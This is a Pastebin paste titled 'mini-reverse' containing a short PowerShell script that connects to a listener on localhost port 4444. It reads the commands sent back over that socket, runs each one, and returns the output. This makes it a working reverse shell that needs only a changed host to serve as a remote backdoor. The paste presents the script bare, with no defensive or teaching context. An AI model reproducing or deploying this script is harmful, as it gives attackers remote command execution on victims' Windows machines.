Advertisement
edusatoe

mini-reverse

Feb 5th, 2023 (edited)
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. $socket = new-object System.Net.Sockets.TcpClient('localhost', 4444);
  2. if($socket -eq $null){exit 1}
  3. $stream = $socket.GetStream();
  4. $writer = new-object System.IO.StreamWriter($stream);
  5. $buffer = new-object System.Byte[] 1024;
  6. $encoding = new-object System.Text.AsciiEncoding;
  7. do{
  8. $writer.Write("> ");
  9. $writer.Flush();
  10. $read = $null;
  11. while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
  12. $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
  13. if(!$out.equals("exit")){
  14. $out = $out.split(' ')
  15. $res = [string](&$out[0] $out[1..$out.length]);
  16. if($res -ne $null){ $writer.WriteLine($res)}
  17. }
  18. }While (!$out.equals("exit"))
  19. $writer.close();$socket.close();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement